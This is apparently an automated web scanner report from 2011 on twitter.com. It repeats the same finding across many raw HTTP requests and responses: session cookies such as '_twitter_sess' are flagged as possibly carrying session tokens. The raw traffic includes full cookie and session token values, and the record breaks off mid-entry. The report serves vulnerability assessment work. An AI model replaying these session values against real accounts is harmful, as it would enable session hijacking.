GET /Support HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:24 GMT Server: hi Status: 200 OK X-Transaction: 1296664284-81346-20204 ETag: "bbc963b9f8160e0d6823853732c92a86" Last-Modified: Wed, 02 Feb 2011 16:31:24 GMT X-Runtime: 0.01293 Content-Type: text/html; charset=utf-8 Content-Length: 51194 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /TakeoSpikes51 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:10 GMT Server: hi Status: 200 OK X-Transaction: 1296664270-56148-48294 ETag: "135d64f3474b3baffd997b3100ea7ef1" Last-Modified: Wed, 02 Feb 2011 16:31:10 GMT X-Runtime: 0.03086 Content-Type: text/html; charset=utf-8 Content-Length: 49981 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657076796626435; path=/; expires=Thu, 03 Mar 2011 14:32:47 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TomorrowCounsel HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:47 GMT Server: hi Status: 200 OK X-Transaction: 1296570767-53246-29178 ETag: "4a914da96ee0a0a88be17c95038f30f6" Last-Modified: Tue, 01 Feb 2011 14:32:47 GMT X-Runtime: 0.00895 Content-Type: text/html; charset=utf-8 Content-Length: 38185 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765453649; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076796626435; path=/; expires=Thu, 03 Mar 2011 14:32:47 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTRkZWU5Mzk3OTY5YzNlY2U3NmEzNjRkYTVjNWM4ZmE4Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIX9qj4S0B--75323e6281d6e07fad52c4d2694e81f66908fdb8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657077046596591; path=/; expires=Thu, 03 Mar 2011 14:32:50 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /VirginiaBeachWk HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:50 GMT Server: hi Status: 200 OK X-Transaction: 1296570770-54034-26380 ETag: "722e5a4a17a930dc410ddfa2dcfcf29f" Last-Modified: Tue, 01 Feb 2011 14:32:50 GMT X-Runtime: 0.00929 Content-Type: text/html; charset=utf-8 Content-Length: 43757 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570767721275; path=/; expires=Tue, 08-Feb-11 14:32:47 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077046596591; path=/; expires=Thu, 03 Mar 2011 14:32:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWZmMzhmYWYzMjhjZDBhZmU3MGI3NGUzMzViZjgwOGYwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIIuSj4S0B--feaf2307ccc3ef42a4424cc41ad061fc85bcfc4c; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657077200155260; path=/; expires=Thu, 03 Mar 2011 14:32:52 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Wyome655 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:52 GMT Server: hi Status: 200 OK X-Transaction: 1296570771-49392-27110 ETag: "8920930d7ac5f22d9c28d638bc510a43" Last-Modified: Tue, 01 Feb 2011 14:32:52 GMT X-Runtime: 0.01365 Content-Type: text/html; charset=utf-8 Content-Length: 49043 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570769541250; path=/; expires=Tue, 08-Feb-11 14:32:49 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077200155260; path=/; expires=Thu, 03 Mar 2011 14:32:52 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTlhODFlYTZmZDMyOTVmOGEzNjU1YWQyOGVkYzU1NTdkIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsII%252Bqj4S0B--3dc2a7877e1c46c038d07097aebde48d6ed83ef5; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:39 GMT Server: hi Status: 200 OK X-Transaction: 1296664299-65427-40066 ETag: "f4b03e36f332887b6be3e85bba9db2a4" Last-Modified: Wed, 02 Feb 2011 16:31:39 GMT X-Runtime: 0.02816 Content-Type: text/html; charset=utf-8 Content-Length: 15164 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/contact HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:44 GMT Server: hi Status: 200 OK X-Transaction: 1296664304-22258-7338 ETag: "7937f6327935ef26bdd7e378484a4133" Last-Modified: Wed, 02 Feb 2011 16:31:44 GMT X-Runtime: 0.04159 Content-Type: text/html; charset=utf-8 Content-Length: 10974 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/resources HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:45 GMT Server: hi Status: 200 OK X-Transaction: 1296664305-37407-21351 ETag: "740ffc42e7c4a26dc6815a086c969aa9" Last-Modified: Wed, 02 Feb 2011 16:31:45 GMT X-Runtime: 0.01849 Content-Type: text/html; charset=utf-8 Content-Length: 12673 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/complete HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:10 GMT Server: hi Status: 200 OK X-Transaction: 1296664210-37197-19050 ETag: "5a850aa02a131e333e2ae658632b2e39" Last-Modified: Wed, 02 Feb 2011 16:30:10 GMT X-Runtime: 0.03116 Content-Type: text/html; charset=utf-8 Content-Length: 9562 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/resend_password HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:30:11 GMT Server: hi Status: 200 OK X-Transaction: 1296664210-96438-54944 ETag: "fb1d5f1edad456678d1c90468c2ef216" Last-Modified: Wed, 02 Feb 2011 16:30:11 GMT X-Runtime: 0.03202 Content-Type: text/html; charset=utf-8 Content-Length: 9745 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657079871539029; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /arnui HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:18 GMT Server: hi Status: 200 OK X-Transaction: 1296570798-49120-27741 ETag: "c59d150314d7d7cff9932be20e7dc3ef" Last-Modified: Tue, 01 Feb 2011 14:33:18 GMT X-Runtime: 0.01459 Content-Type: text/html; charset=utf-8 Content-Length: 51947 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570798704449; path=/; expires=Tue, 08-Feb-11 14:33:18 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079871539029; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTQ5N2RiZWUxOWRkZWQ0YmQ3ZTEyMGFjMzE2NDc0Mzg4Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIflKk4S0B--47bfbc59ed0e9d5c07285a54ffa9822cfa655e62; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ashleytisdale HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
